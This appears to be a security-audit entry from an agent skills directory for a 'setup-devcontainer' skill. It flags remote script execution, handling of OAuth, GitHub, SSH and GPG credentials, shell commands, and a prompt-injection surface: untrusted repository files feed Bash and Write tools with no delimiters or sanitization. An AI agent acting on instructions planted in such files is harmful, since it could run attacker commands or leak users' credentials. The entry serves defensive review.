The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Fetches and executes an installation script from Claude.ai's official domain (https://claude.ai/install.sh) to set up development tooling within the environment. This operation facilitates the automated installation of the Claude Code CLI.
[CREDENTIALS_UNSAFE]: The skill facilitates the management of sensitive credentials including CLAUDE_CODE_OAUTH_TOKEN, GH_TOKEN, SSH private keys, and GPG keyrings. It includes instructions for users to provide these tokens or configure them via an external web dashboard, avoiding hardcoding but maintaining a high-risk data surface.
[PROMPT_INJECTION]:
Ingestion points: Reads and parses repository configuration files including package.json, Gemfile, composer.json, and .gitpod.yml (SKILL.md) to detect frameworks and services.
Boundary markers: Absent; the skill does not specify the use of delimiters when processing untrusted file content.
Capability inventory: Accesses high-privilege tools such as Bash for environment management and Write for generating project configuration files.
Sanitization: Absent; there is no explicit instruction for the sanitization of framework metadata before its use in shell commands or configuration generation.
[COMMAND_EXECUTION]: Performs shell operations using the gitpod CLI for project initialization and utilizes SSH to execute verification commands inside newly created environments, allowing for the execution of framework-specific lifecycle commands.

setup-devcontainer